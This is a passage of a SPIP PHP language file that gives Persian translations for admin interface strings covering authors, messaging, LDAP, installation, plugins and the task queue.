'info_gauche_auteurs_exterieurs' => 'نويسندگان خارج سايت بدون حق ورود به سايت با رنگ آيكون آبى ، و حذف شده گان با علامت سطل مشخص شده اند', # MODIF
'info_gauche_messagerie' => 'پيام گير بشما اجازه رد و بدل پيام را با ديگر نويسند گان، نگهدارى يادداشتها (براى استفاده شخصى ) همچنين اعلان خبر در صفحه پذيرش را (در صورتى كه از گردانند گان سايت باشيد )ميدهد.',
'info_gauche_numero_auteur' => 'نويسنده شماره',
'info_gauche_statistiques_referers' => 'اين صفحه, فهرست سايتهاى مرجع را ارائه ميدهد، بعبارتى سايتهايى كه داراى پيوند با سايت شما هستند، (فقط براى ديروز و امروز) : در واقع اين فهرست هر ٢٤ ساعت يكبار نو ميشود',
'info_gauche_visiteurs_enregistres' => 'شما, در اينجا, همه بازديد كنند گان ثبت شده در قسمت همگانى را خواهيد يافت (براى مشتركين).',
'info_generation_miniatures_images' => 'ساخت تصاوير كوچك شده',
'info_gerer_trad' => 'آيا پيوندهاى ترجمه را اداره ميكنيد؟',
'info_gerer_trad_objets' => '@objets@ :مديريت پيوندهاي ترجمه',
'info_hebergeur_desactiver_envoi_email' => 'تعدادى از ميزبانان ارسال خودكار نامه ها را از سرورهايشان غير فعال ميكنند. در اين صورت، عملكردهاى بعدى اسپيپ كار نخوهند كرد. ',
'info_hier' => ': ديروز',
'info_historique_activer' => 'ادامه بازبينى ها را فعال كنيد',
'info_historique_affiche' => 'نمايش دادن اين نسخه',
'info_historique_comparaison' => 'مقايسه',
'info_historique_desactiver' => 'غير فعال كردن ادامه بازبينى ها',
'info_historique_texte' => 'پى گيرى بازنگريها بشما امكان دسترسى به يك روزنگار را ميدهد كه هر گونه اصلاح در محتوى يك مقاله را همراه با تفاوتهاى مابين نسخه هاى ديگر نشان ميدهد.',
'info_identification_publique' => '...شناسنامه شما',
'info_image_process' => 'خواهشمند است بهترين شيوه ساخت تصاوير كوچك را با كليك كردن بروي تصوير مربوطه انتخاب نماييد.',
'info_image_process2' => '<<b>N.B.</b> درصورتيكه تصويرى ظاهر نشود, سرورى كه سايتتان را پذيراست براى چنين ابزارى پيكربندى نشده است. اگر مايل به استفاده از اين كاركردها هستيد با سرپرست فنى تماس بگيريد و تقاضاىGD يا «Imagick» را بكنيد.',
'info_images_auto' => 'تصاوير بطور خودكار محاسبه شده اند',
'info_informations_personnelles' => 'اطلاعات شخصى',
'info_inscription_automatique' => 'ثبت نام خوكار نويسند گان جديد',
'info_jeu_caractere' => 'انتخاب نوع و شكل حروف سايت',
'info_jours' => 'روز',
'info_laisser_champs_vides' => 'اين قسمتها را خالى بگذاريد)',
'info_langues' => 'زبانهاى سايت',
'info_ldap_ok' => 'گواهى درستى LDAP مستقر شده',
'info_lien_hypertexte' => ': پيوند هايپرتكست',
'info_liste_nouveautes_envoyee' => 'فهرست تازهها ارسال شده است',
'info_liste_redacteurs_connectes' => 'فهرست نويسنده گان روى خط',
'info_login_existant' => '.موجود ميباشد login اين',
'info_login_trop_court' => 'بيش از اندازه كوتاه Login .',
'info_login_trop_court_car_pluriel' => 'لاگين بايد دست كم @nb@ كاراكتر داشته باشد.',
'info_logos' => 'لوگوها',
'info_maximum' => ': حداكثر',
'info_meme_rubrique' => 'در همان بخش',
'info_message' => 'پيام',
'info_message_efface' => 'پيام پاك شده',
'info_message_en_redaction' => 'پيام هايتان در حال نگارش',
'info_message_technique' => ':پيام فنى',
'info_messagerie_interne' => 'پيام گير داخلى',
'info_mise_a_niveau_base' => 'تراز گذارى پايگاه SQL',
'info_mise_a_niveau_base_2' => '{{!توجه}}شما نسخه { قديمى} اسپيپ را نصب كرده ايد براى داده پى هايتان خطر از بين رفتن وجود دارد و همچنين از كار افتاد گى سايتتان .<br />{{فايلهاى اسپيپ را دوباره نصب كنيد}}',
'info_modification_enregistree' => 'تغييرها ثبت شد',
'info_modifier_auteur' => 'اصلاح نويسنده',
'info_modifier_rubrique' => ':اصلاح بخش ',
'info_modifier_titre' => '@titre@ : اصلاح ',
'info_mon_site_spip' => 'SPIP سايت من',
'info_mot_sans_groupe' => '(...واژه بدون گروه)',
'info_moteur_recherche' => 'موتور جستجوى گنجانده شده',
'info_moyenne' => ': متوسط',
'info_multi_articles' => 'آيا ميخواهيد فهرست زبانها را در مورد مقالات فعال كنيد؟',
'info_multi_cet_article' => ' زبان اين مقاله :',
'info_multi_langues_choisies' => 'خواهشمند است كه زبانهاى موجود براى نويسند گان سايتتان را در زير انتخاب كنيد. زبانهاى از پيش استفاده شده نميتوانند غير فعال شوند.',
'info_multi_objets' => '@objets@ :فعالسازي منوي زبان',
'info_multi_rubriques' => 'آيا ميخواهيد فهرست زبانها را در مورد بخش ها فعال كنيد؟',
'info_multi_secteurs' => '...تنها براى بخشهاى واقع در ريشه؟',
'info_nb_articles' => '@nb@ مقاله',
'info_nb_articles_syndiques' => '@nb@ مقاله به اشتراكگذاشته شده',
'info_nb_auteurs' => '@nb@ نويسنده',
'info_nb_messages' => '@nb@ پيام',
'info_nb_mots_cles' => '@nb@ كليدواژه',
'info_nb_rubriques' => '@nb@ بخش',
'info_nb_sites' => '@nb@ سايت',
'info_nb_visiteurs' => '@nb@ بازديدكننده',
'info_nom' => 'نام',
'info_nom_destinataire' => 'نام گيرنده',
'info_nom_site' => 'نام سايتتان',
'info_nombre_articles' => 'مقاله @nb_articles@ ',
'info_nombre_partcipants' => ':شركت كنند گان در اين گفتگو',
'info_nombre_rubriques' => 'بخش @nb_rubriques@ ',
'info_nombre_sites' => 'سايت @nb_sites@',
'info_non_deplacer' => '...جابجا نكنيد',
'info_non_envoi_annonce_dernieres_nouveautes' => 'اسپيپ ميتواند بطور منظم اخبار تازه هاى سايت را مانند مقاله ها، مقاله هاى كوتاه تازه منتشر شده و... را بفرستد ',
'info_non_envoi_liste_nouveautes' => 'فهرست تازه ها را نفرستيد',
'info_non_modifiable' => 'نميتواند اصلاح شود',
'info_non_suppression_mot_cle' => 'نميخواهم اين كليد-واژه را حذف كنم',
'info_note_numero' => 'يادداشتِ @numero@',
'info_notes' => 'يادداشت ',
'info_nouveaux_message' => 'پيام هاى جديد',
'info_nouvel_article' => 'مقاله جديد',
'info_nouvelle_traduction' => 'برگردان جديد',
'info_numero_article' => ': مقاله شماره',
'info_obligatoire_02' => '(اجباري)',
'info_option_accepter_visiteurs' => 'پذيرفتن ثبت نام بازديد كنندگان سايت همگانى',
'info_option_faire_suivre' => 'پيام هاى سخنگاه را به نويسند گان مقالات ارسال كنيد',
'info_option_ne_pas_accepter_visiteurs' => 'رد ثبت نام بازديدكنندگان',
'info_options_avancees' => 'گزينش هاى پيشرفته',
'info_ortho_activer' => 'تصحيح كننده ى املا را فعال كنيد',
'info_ortho_desactiver' => 'تصحيح كننده ى املا را غير فعال كنيد',
'info_ou' => '...يا',
'info_page_interdite' => 'صفحه ممنوع',
'info_par_nom' => 'توسط نام',
'info_par_nombre_article' => 'توسط شمار مقالها',
'info_par_statut' => 'توسط نوع',
'info_par_tri' => '’(بترتيب@tri@)’',
'info_passe_trop_court' => 'كلمه ورود خيلى كوتاه',
'info_passe_trop_court_car_pluriel' => 'گذرواژه دست كم بايد @nb@ كاراكتر داشته باشد.',
'info_passes_identiques' => 'دو كلمه ورود با هم يكسان نيستند',
'info_pense_bete_ancien' => 'يادداشت هاى پيشينتان',
'info_plus_cinq_car' => 'بيش از پنج حرف',
'info_plus_cinq_car_2' => '(بيش از پنج حرف)',
'info_plus_trois_car' => '(بيش از سه حرف)',
'info_popularite' => '@popularite@ : محبوبيت@visites@ : بازديد',
'info_popularite_4' => '@popularite@ : محبوبيت@visites@ : بازديد',
'info_post_scriptum' => 'نوشتار پس از متن اصلى',
'info_post_scriptum_2' => ':نوشتار پس از متن اصلى',
'info_pour' => 'براى',
'info_preview_admin' => 'تنها گردانندگان سايت ميتوانند مطالب سايت را بازبينى كنند',
'info_preview_comite' => 'همه نويسندگان سايت ميتوانند مطالب سايت را بازبينى كنند',
'info_preview_desactive' => 'كاركرد پيش آزما غير فعال است',
'info_preview_texte' => 'اين امكان وجود دارد كه سايت را پيش از آماده شدن (پيش از پيشنهاد مقالات) بازبينى كرد مانند زمانيكه همه ى مقالات و اخبار منتشر شده اند.اين امكان ميتواند تنها براى گردانند گان سايت يا نويسندگان يا براى هيچكس نباشد.',
'info_principaux_correspondants' => 'مكاتبين اصلى شما',
'info_procedez_par_etape' => 'مرحله به مرحله اقدام كنيد',
'info_procedure_maj_version' => 'روند به روز كردن بايد به جريان بيفتد تا داده پى ها بتوانند با نسخه جديد منطبق شوند.',
'info_proxy_ok' => 'آزمایش پروکسی با موفقیت انجام شد.',
'info_ps' => 'P.-S.',
'info_publier' => 'منتشر کنید',
'info_publies' => 'مقاله هاى منتشر شده تان روى تارنما',
'info_question_accepter_visiteurs' => 'اگر اسكلت سايتتان ثبت شمار بازديدكنندگان را بى آنكه اجازه ى ورود به قسمت خصوصى سايت را داشته باشند را داراست خواهشمند است گزينه ى زير را فعال كنيد:',
'info_question_inscription_nouveaux_redacteurs' => 'آيا ثبت نام نويسند گان جديد را از سايت همگانى قبول ميكنيد؟ اگر ميكنيد، كاربران ميتوانند با پر كردن يك پرسشنامه ثبت نام كنند و به محوطه خصوصى راه يابند. آنها ميتوانند مقالاتشان را مطرح كنند <blockquote><i>در هنگام ثبت نام كاربران يك ايميل دريافت خواهند كرد كه شامل كد ورودي شان به سايت خصوصى خواهد بود. تعدادى از ميزبانان، ارسال ايميل را از سرورها غير فعال كرده اند: دراينصورت ثبت نام خودكار غير ممكن خواهد بود..</i></blockquote>',
'info_question_utilisation_moteur_recherche' => 'آيا مايل هستيد كه از موتور جستجوى اسپيپ استفاده كنيد ؟
(غير فعال كردن آن سرعت سيستم را افزايش ميدهد)',
'info_question_vignettes_referer_non' => 'گيراندازيهاي سايتهاي مبداء بازديدكنندگان را نشان ندادن',
'info_qui_edite' => '@nom_auteur_modif@ روي اين مطلب @date_diff@ كار كرده است.',
'info_racine_site' => 'ريشه سايت',
'info_recharger_page' => 'خواهشمند است اين صفحه را تا چند لحظه بعد دوباره شارژ كنيد',
'info_recherche_auteur_a_affiner' => 'پاسخهاى بيشمار براى "@cherche_auteur@" ;خواهشمند است پرسشتان را بهتر مطرح كنيد.',
'info_recherche_auteur_ok' => '"@cherche_auteur@"چندين نويسنده براى پيدا شده',
'info_recherche_auteur_zero' => '"@cherche_auteur@" : جستجوى بدون نتيجه براى',
'info_recommencer' => '.خواهشمند است دوباره شروع كنيد',
'info_redacteur_1' => 'نويسنده',
'info_redacteur_2' => 'به بخش خصوصى دسترسى دارد(<i>توصيه ميشود</i>)',
'info_redacteurs' => 'نويسندگان',
'info_redaction_en_cours' => 'در حال نگارش',
'info_redirection' => 'هدايت دوباره آدرس ',
'info_redirection_activee' => 'باز سو دهي فعال است. ',
'info_redirection_desactivee' => 'باز سو دهي حذف شده. ',
'info_refuses' => 'مقاله هايتان كه پذيرفته نشده اند',
'info_reglage_ldap' => ' گزينش :<b> تنظيم ورود LDAP</b>',
'info_renvoi_article' => 'تغییر محل. اين مقاله به این صفحه برمیگردد:',
'info_reserve_admin' => 'تنها گردانندگان سايت حق اصلاح اين آدرس را دارند',
'info_restreindre_rubrique' => ':محدوديت در اداره بخش',
'info_resultat_recherche' => ':نتيجه جستجو',
'info_rubriques' => 'بخش ها',
'info_rubriques_02' => 'بخش ها',
'info_rubriques_trouvees' => 'بخش هاى پيدا شده',
'info_rubriques_trouvees_dans_texte' => 'بخش هاى پيدا شده (درون متن)',
'info_sans_titre' => 'بدون عنوان',
'info_selection_chemin_acces' => '<b>انتخاب كنيد</b> راه ورودى را در راهنما',
'info_signatures' => 'امضاء',
'info_site' => 'سايت',
'info_site_2' => ':سايت',
'info_site_min' => 'سايت',
'info_site_reference_2' => 'سايت مرجع',
'info_site_web' => 'وب سايت:',
'info_sites' => 'سايت',
'info_sites_lies_mot' => 'سايتهاى پيوندى مربوط به اين واژه-كليد',
'info_sites_proxy' => 'از پروكسى استفاده كنيد',
'info_sites_trouves' => 'سايت هاى پيدا شده',
'info_sites_trouves_dans_texte' => 'سايت هاى پيدا شده (درون متن)',
'info_sous_titre' => ':عنوان فرعى',
'info_statut_administrateur' => 'گرداننده سايت',
'info_statut_auteur' => 'وضعيت اين نويسنده:',
'info_statut_auteur_2' => 'من هستم',
'info_statut_auteur_a_confirmer' => 'ثبت نام تائید شود',
'info_statut_auteur_autre' => 'وضعیت دیگر:',
'info_statut_efface' => 'پاك شده',
'info_statut_redacteur' => 'نويسنده',
'info_statut_utilisateurs_1' => 'وضعيت كاربران ورودى',
'info_statut_utilisateurs_2' => 'وضعيت اشخاص حاضر در راهنماى ال دى ا پى را كه براى اولين بار به سايت ميپيوندند مشخص كنيد. شما ميتوانيد پس از آن براى هر نويسنده آنرا مورد به مورد اصلاح كنيد',
'info_suivi_activite' => 'دنباله سر مقاله',
'info_surtitre' => ':سر عنوان',
'info_syndication_integrale_1' => 'سایتتان فایلهای syndication را پیشنهاد میکند (voir « <a href="@url@">@titre@</a> »). ',
'info_syndication_integrale_2' => 'آیا مایلید که مقاله ها را بطور کامل یا فقط خلاصه ای از آنها را بفرستید؟',
'info_table_prefix' => 'شما میتوانید پیشوند نام جدولهای داده ها را اصلاح کنید زیرا هنگامیکه از یک داده پی برای چند سایت استفاده میکنید اینکار اجباری است. پیشوند باید با حروف کوچک بدون اکسان و بی فاصله باشد.',
'info_taille_maximale_images' => 'اسپيپ برش بالاتر تصاوير را كه ميتواند نشان دهد(در ميليونها پيكشل) آزمايش ميكند. <br /> تصاوير بزرگتر كاهش نمييابند.',
'info_taille_maximale_vignette' => 'حد اكثر اندازه براى توليد تصاوير كوچك توسط سيستم',
'info_terminer_installation' => 'شما اكنون ميتوانيد روند استقرار برنامه را پايان دهيد.',
'info_texte' => 'متن',
'info_texte_explicatif' => 'متن توضيحى',
'info_texte_long' => 'متن بيش از اندازه بلند ميباشد : در ابتدا به چند قسمت تقسيم و پس از تائيد، قطعات به هم متصل خواهند شد.',
'info_texte_message' => 'متن پيام شما',
'info_texte_message_02' => 'متن پيام',
'info_titre' => ':عنوان',
'info_total' => ':كل',
'info_tous_articles_en_redaction' => 'تمام مقالات در حال نگارش',
'info_tous_articles_presents' => 'تمام مقالات منتشر شده در اين بخش',
'info_tous_articles_refuses' => 'تمام مقالات رد شده',
'info_tous_les' => 'تمام :',
'info_tous_redacteurs' => 'خبر براى تمام نويسندگان',
'info_tout_site' => 'همه سايت',
'info_tout_site2' => 'مقاله به اين زبان ترجمه نشده.',
'info_tout_site3' => 'مقاله به اين زبان ترجمه شده, سپس تغييراتى در مقاله ى اصلى صورت گرفته, بدين جهت بايد برگردان آنرا بروز كرد.',
'info_tout_site4' => 'مقاله به اين زبان ترجمه و برگردان آن بروز شده.',
'info_tout_site5' => 'مقاله ى اصلى',
'info_tout_site6' => ' :<b>توجه<b/> تنها مقالات اصلى اعلان ميشوند و برگردانهايشان با رنگهايى كه گوياى وضعيت آنهاست به آنها متصلند.',
'info_traductions' => 'ترجمهها',
'info_travail_colaboratif' => 'مقالات حاصل كار دست جمعى',
'info_un_article' => 'يك مقاله',
'info_un_site' => ',يك سايت',
'info_une_rubrique' => ',يك بخش',
'info_une_rubrique_02' => '١ بخش',
'info_url' => ':URL',
'info_url_proxy' => 'پراكسي URL',
'info_url_site' => 'URL سايت: ',
'info_url_test_proxy' => 'تست URL',
'info_urlref' => 'پيوند هايپرتکست:',
'info_utilisation_spip' => 'شما اكنون ميتوانيد از سيستم انتشار حضورى استفاده كنيد',
'info_visites_par_mois' => ':نمودار ماهانه',
'info_visiteur_1' => 'بازديد كننده',
'info_visiteur_2' => 'سايت همگانى',
'info_visiteurs' => 'بازديد كنندگان',
'info_visiteurs_02' => 'بازديد كنندگان سايت همگانى',
'info_webmestre_forces' => 'وب مسترها در حال حاضر در < tt>@file_options@</tt تعريف ميشوند.',
'install_adresse_base_hebergeur' => 'آدرس داده ها که توسط میزبان وب اعطا شده',
'install_base_ok' => 'پايگاه @base@ شناخته شده است',
'install_connect_ok' => 'پايگاه دادههاي جديد اعلام كرده از سرور با نام @connect@استفاده ميكند. ',
'install_echec_annonce' => 'نصب احتمالا موفق آميز نخواهد بود يا به يك سايت غير كاربردى خاتمه ميابد...',
'install_extension_mbstring' => 'اسپيپ با اين كار نميكند :',
'install_extension_php_obligatoire' => 'اسپيپ به فايلهاى php نياز دارد:',
'install_login_base_hebergeur' => 'Login ورودی به سایت که توسط میزبان وب داده شده',
'install_nom_base_hebergeur' => 'نام پایگاه داده ها که توسط میزبان وب داده شده:',
'install_pas_table' => 'پايگاه عملاً بدون جدولها',
'install_pass_base_hebergeur' => 'کد ورودی به سایت که توسط میزبان وب داده شده',
'install_php_version' => 'نسخه @version@ PHP ناکافیست دستکم= @minimum@',
'install_select_langue' => 'يك زبان را انتخاب كنيد سپس روى دكمه "بعدى" كليك كنيد، روند استقرار برنامه بكار خواهد افتاد',
'install_select_type_db' => 'نوع پايگاه دادهها را تعيين كردن',
'install_select_type_mysql' => 'MySQL',
'install_select_type_pg' => 'PostgreSQL',
'install_select_type_sqlite2' => 'SQLite 2',
'install_select_type_sqlite3' => 'SQLite 3',
'install_serveur_hebergeur' => 'Serveur de base de données attribué par l’hébergeur ',
'install_table_prefix_hebergeur' => 'پیشوند جدولها که توسط میزبان وب داده شده:',
'install_tables_base' => 'جدولهاي پايگاه',
'install_types_db_connus' => 'اسپيپ ميتواند<b>MySQL</b> (رايجتر)و <b>SQLite</b> را استفاده كند.',
'install_types_db_connus_avertissement' => 'حمايت از <b>PostgreSQL</b> عملاً به صورت تجربي پيشنهاد شده است.',
'instituer_erreur_statut_a_change' => 'وضعيت همين الأن اصلاح شده',
'instituer_erreur_statut_non_autorise' => 'نميتوانيد اين وضعيت را انتخاب كنيد',
'intem_redacteur' => 'نويسنده',
'intitule_licence' => 'مجوز',
'item_accepter_inscriptions' => 'ثبت نامها را بپذيريد',
'item_activer_messages_avertissement' => 'پيامهاى اخطار را فعال كنيد',
'item_administrateur_2' => 'گرداننده سايت',
'item_afficher_calendrier' => 'در بخش تقويم نمايش دهيد',
'item_autoriser_documents_joints' => 'افزودن اسناد پيوسته را به مقالات مجاز كنيد',
'item_autoriser_documents_joints_rubriques' => 'افزودن اسناد را به بخشها مجاز كنيد',
'item_autoriser_syndication_integrale' => 'پخش کامل مقاله ها در فایل های syndication',
'item_choix_administrateurs' => 'گردانندگان سايت',
'item_choix_generation_miniature' => '.تصاوير كوچك را بطور خودكار بسازيد',
'item_choix_non_generation_miniature' => '.تصاوير كوچك را بطور خودكار نسازيد',
'item_choix_redacteurs' => 'نويسندگان',
'item_choix_visiteurs' => 'بازديد كنندگان سايت همگانى',
'item_creer_fichiers_authent' => '.htpasswd : از اين فايلها بسازيد',
'item_limiter_recherche' => 'جستجو را به اطلاعات داخل سايت محدود كنيد',
'item_login' => 'Login',
'item_messagerie_agenda' => 'فعال سازي سامانهي پيامدهي و تقويم',
'item_mots_cles_association_articles' => 'به مقالات',
'item_mots_cles_association_rubriques' => 'به بخشها ',
'item_mots_cles_association_sites' => 'به سايتهاى مرجع يا پيوندى',
'item_non' => 'خير',
'item_non_accepter_inscriptions' => 'ثبت نامها را نپذيريد',
'item_non_activer_messages_avertissement' => 'بدون پيام اخطار',
'item_non_afficher_calendrier' => 'در تقويم نيايد',
'item_non_autoriser_documents_joints' => 'اجازه استفاده از اسناد در مقالات را ندهيد',
'item_non_autoriser_documents_joints_rubriques' => 'اجازه استفاده از اسناد در بخشها را ندهيد',
'item_non_autoriser_syndication_integrale' => 'تنها خلاصه ی آنرا منتشر کنید',
'item_non_compresseur' => 'غيرفعالسازي فشردهسازي ',
'item_non_creer_fichiers_authent' => 'اين فايلها را درست نكنيد',
'item_non_gerer_statistiques' => 'آمار را اداره نكنيد',
'item_non_limiter_recherche' => 'جستجو را به محتوى سايتهاى مرجع گسترش دهيد',
'item_non_messagerie_agenda' => 'غيرفعال سازي سامانهي پيامدهي و تقويم',
'item_non_publier_articles' => 'مقالات را پيش از تعيين تاريخ قطعى انتشار منتشر نكنيد',
'item_non_utiliser_moteur_recherche' => 'از موتور استفاده نكنيد',
'item_nouvel_auteur' => 'نويسنده جديد',
'item_nouvelle_rubrique' => 'بخش جديد',
'item_oui' => 'آرى',
'item_publier_articles' => '.مقالات را عليرغم تاريخ نشرشان منتشر كنيد',
'item_reponse_article' => 'پاسخ به مقاله',
'item_utiliser_moteur_recherche' => 'از موتور جستجو استفاده كنيد',
'item_version_html_max_html4' => 'در سايت همگاني فقط اچ.تي.ام.ال4 را استفاده كنيد',
'item_version_html_max_html5' => 'اجازهي اج.تي.ام.ال5',
'item_visiteur' => 'بازديد كننده',
// J
'jour_non_connu_nc' => 'n.c.',
// L
'label_bando_outils' => 'ميل ابزار ',
'label_bando_outils_afficher' => 'نمايش ابزارها',
'label_bando_outils_masquer' => 'پوشاندن ابزارها',
'label_choix_langue' => 'زبان خود را انتخاب كنيد',
'label_nom_fichier_connect' => 'اعلام نام مورد استفاده براي اين سرور ',
'label_slogan_site' => 'شعار سايت',
'label_taille_ecran' => 'پهناي پردهي نمايش',
'label_texte_et_icones_navigation' => 'منوي ناوبري ',
'label_texte_et_icones_page' => 'صفحهي نمايش ',
'ldap_correspondance' => 'ميدان موروثي @champ@',
'ldap_correspondance_1' => 'ميدانهاي موروثي LDAP',
'ldap_correspondance_2' => 'براي هر يك از ميدانهاي بعدي اسپيپ، نام متناسب با ميدان LDAP را وارد كنيد. اگر نميخواهيد پر كنيد آن را خالي بگذاريد، براي پركردن چندين ميدان LDAP با كاما يا فاصله جداشان كنيد.',
'lien_ajout_destinataire' => 'نام اين گيرنده را اضافه كنيد',
'lien_ajouter_auteur' => 'نام اين نويسنده را اضافه كنيد',
'lien_ajouter_participant' => 'يك شركت كننده را اضافه كنيد',
'lien_ajouter_une_rubrique' => 'افزودن اين بخش',
'lien_email' => 'ايميل',
'lien_nom_site' => ':نام سايت',
'lien_retirer_auteur' => 'خارج كردن نام نويسنده',
'lien_retirer_rubrique' => 'حذف كردن بخش',
'lien_retirer_tous_auteurs' => 'حذف تمام مؤلفان',
'lien_retirer_toutes_rubriques' => 'حذف تمام بخشها',
'lien_retrait_particpant' => 'خارج كردن اين شركت كننده',
'lien_site' => 'سايت',
'lien_supprimer_rubrique' => 'اين بخش را حذف كنيد',
'lien_tout_deplier' => 'همه را باز كنيد',
'lien_tout_replier' => 'همه را ببنديد',
'lien_tout_supprimer' => 'همه را حذف کنید',
'lien_trier_nom' => 'بترتيب نام',
'lien_trier_nombre_articles' => 'بترتيب تعداد مقالات',
'lien_trier_statut' => 'بترتيب موقعيت',
'lien_voir_en_ligne' => 'روى شبكه ببينيد :',
'logo_article' => 'لوگوي مقاله',
'logo_auteur' => 'لوگوي نويسنده',
'logo_rubrique' => 'لوگوي بخش',
'logo_site' => 'لوگوي اين سايت',
'logo_standard_rubrique' => 'لوگوي استاندارد بخشها',
'logo_survol' => 'لوگوي موش روش!',
// M
'menu_aide_installation_choix_base' => 'انتخاب پايگاه',
'module_fichier_langue' => 'فايل زبان',
'module_raccourci' => 'راه كوتاه',
'module_texte_affiche' => 'متن اعلانى',
'module_texte_explicatif' => 'شما ميتوانيد راه هاى كوتاه زير را در اسكلتهاى سايتتان بگنجانيد. آنها بطور خودكار به زبانهايى كه داراى فايل زبان هستند, ترجمه ميشوند.',
'module_texte_traduction' => 'فايل زبان« @module@ »بصورت زير در دسترس ميباشد:',
'mois_non_connu' => 'شناخته نشده',
// N
'nouvelle_version_spip' => 'اسپيپ نسخهي @version@ در دسترس است ',
// O
'onglet_contenu' => 'محتوا',
'onglet_declarer_une_autre_base' => 'اعلام يك پايگاه ديگر',
'onglet_discuter' => 'بحث',
'onglet_documents' => 'سندها',
'onglet_interactivite' => 'تعامل',
'onglet_proprietes' => 'خصوصيات',
'onglet_repartition_actuelle' => 'در حال حاضر',
'onglet_sous_rubriques' => 'زيربخشها',
// P
'page_pas_proxy' => 'اين صفحه نبايد از طريق پراكسي بگذرد',
'pas_de_proxy_pour' => 'در صورت لزوم نام ماشینها یا موضوعاتی که باید در برابر این پروکسی بی اثر باشد را مشخص کنید (برای مثال:@مثال@)',
'plugin_charge_paquet' => 'باربرداري فايل آرشيوي @name@',
'plugin_charger' => 'بارگذاري ',
'plugin_erreur_charger' => 'خطا: بارگذاري @zip@ ممكن نيست',
'plugin_erreur_droit1' => 'نوشتن در ديركتوري <code>@dest@</code> ممكن نيست.',
'plugin_erreur_droit2' => 'لطفاً مجوزهاي نوشتن در اين ديركتوري را چك كنيد (و اگر لازم بود آن را ايجاد كنيد)، در غير اين صورت، فايلها را با اف.تي.پي نصب كنيد. ',
'plugin_erreur_zip' => 'اشكال pclzip: خطا @status@',
'plugin_etat_developpement' => 'در حال تکمیل',
'plugin_etat_experimental' => 'آزمایشی',
'plugin_etat_stable' => 'ثابت',
'plugin_etat_test' => 'در حال آزمایش',
'plugin_impossible_activer' => 'فعال کردن plugin @plugin@ غیر ممکن میباشد',
'plugin_info_automatique1' => 'اگر ميخواهيد نصب خودكار پلاكنينها را مجاز كنيد، لطفاً: ',
'plugin_info_automatique1_lib' => 'اگر ميخواهيد نصب خودكار اين مجموعهفايل را مجاز كنيد، لطفاً: ',
'plugin_info_automatique2' => 'يك ديركتوري <code>@rep@</code> ايجاد كنيد؛',
'plugin_info_automatique3' => 'بررسي كنيد كه سرور مجوز نوشتن در اين ديركتوري را دارد.',
'plugin_info_automatique_creer' => 'ايجاد در ريشهي سايت.',
'plugin_info_automatique_exemples' => 'نمونهها:',
'plugin_info_automatique_ftp' => 'ميتوانيد پلاگينها را با FTP در ديركتوري <tt>@rep@</tt> نصب كنيد',
'plugin_info_automatique_lib' => 'بعضي پلاگينها لازم است بتوانند فايلها را در ديركتوري <code>lib/</code> بارگذاري كنند. در اين صورت، اين ديركتوري بايد در ريشهي سايت ايجاد شود. ',
'plugin_info_automatique_liste' => 'فهرستهاي پلاگينهايتان: ',
'plugin_info_automatique_liste_officielle' => 'پلاگينهاي رسمي',
'plugin_info_automatique_liste_update' => 'روزآمدسازي فهرستها',
'plugin_info_automatique_ou' => 'يا...',
'plugin_info_automatique_select' => 'يكي از پلاگينهاي زير را انتخاب كنيد: اسپيپ آن را در ديركتوري <code>@rep@</code> بارگذاري ميكند؛ اگر آن پلاگين آنجا باشد آن را به روز ميكند.',
'plugin_info_credit' => 'معتبر',
'plugin_info_erreur_xml' => 'اعلام پلاگين علط',
'plugin_info_install_ok' => 'نصب موفق',
'plugin_info_necessite' => 'ضروري: ', # MODIF
'plugin_info_non_compatible_spip' => 'اين پلاگن با اين نسخهي اسپيپ نميخواند',
'plugin_info_plugins_dist_1' => 'پلاگينهاي زير در پوشهي @plugins_dist@ بارگذاري و فعال شدهاند. ',
'plugin_info_plugins_dist_2' => 'غيرفعال نميشوند',
'plugin_info_telecharger' => 'باربرداري از @url@ و نصب در @rep@',
'plugin_librairies_installees' => 'آرشيوهاي نصب شده',
'plugin_necessite_lib' => 'اين پلاگين به آرشيو @lib@ نياز دارد',
'plugin_necessite_plugin' => 'به plugin @plugin@ نسخه ی @version@ نیاز دارید',
'plugin_necessite_plugin_sans_version' => 'پلاگين @plugin@ لازم است ',
'plugin_necessite_spip' => 'به اسپیپ نسخه ی @version@ نیاز دارید.',
'plugin_source' => 'منبع: ',
'plugin_titre_automatique' => 'نصب خودكار ',
'plugin_titre_automatique_ajouter' => 'افرودن پلاگينها',
'plugin_titre_installation' => 'نصب پلاگين @plugin@',
'plugin_titre_modifier' => 'پلاگينهاي من ',
'plugin_zip_active' => 'براي فعال سازي ادامه دهيد',
'plugin_zip_adresse' => 'در زير، نشاني فايل زيپ پلاگين يا نشاني فهرست پلاگينها را مشخص كنيد تا بارگذاري شود',
'plugin_zip_adresse_champ' => 'نشاني پلاگين يا فهرست',
'plugin_zip_content' => 'شامل فايلهاي (@taille@) آماده براي بازگذاري در ديركتوري <code>@rep@</code> ',
'plugin_zip_installe_finie' => 'فايل @zip@ باز و نصب شده است.',
'plugin_zip_installe_rep_finie' => 'فايل @zip@ باز و در ديركتوري @zip@ نصب شده است',
'plugin_zip_installer' => 'اكنون ميتوانيد نصبش كنيد.',
'plugin_zip_telecharge' => 'فايل @zip@ بارگذاري شده',
'plugins_actif_aucun' => 'هيچ پلاگيني فعال نيست.',
'plugins_actif_un' => 'يك پلاگين فعال است. ',
'plugins_actifs' => ' @count@ پلاگين فعال است.',
'plugins_actifs_liste' => 'فعالسازي شده',
'plugins_compte' => '@count@ پلاگين ',
'plugins_disponible_un' => 'يك پلاگين در دصترس.',
'plugins_disponibles' => '@count@ پلاگين در دسترس.',
'plugins_erreur' => 'خطا در پلاگينها: @plugins@',
'plugins_liste' => 'فهرست plugins',
'plugins_liste_dist' => 'پلاگينهاي قفل شده ',
'plugins_recents' => 'پلاگينهاي اخير.',
'plugins_tous_liste' => 'همه',
'plugins_vue_hierarchie' => 'سلسله مراتب ',
'plugins_vue_liste' => 'فهرست',
'protocole_ldap' => 'نسخه ی پروتکل:',
// Q
'queue_executer_maintenant' => 'اجرا حالا',
'queue_info_purger' => 'ميتوانيد تمام كارهاي در انتظار را حذف كنيد و فهرست را با كارهاي دورهاي بازتنظيم كنيد', # MODIF
'queue_nb_jobs_in_queue' => '@nb@ وظيفه در صف ',
'queue_next_job_in_nb_sec' => 'وظيفهي بعدي در @nb@ امين',
'queue_no_job_in_queue' => 'وظيفهاي در دست اجرا نيست',
'queue_one_job_in_queue' => '1 وظيفه در صف',
'queue_purger_queue' => 'بازتنظيم فهرست كارها',
'queue_titre' => 'فهرست وظيفهها',
// R
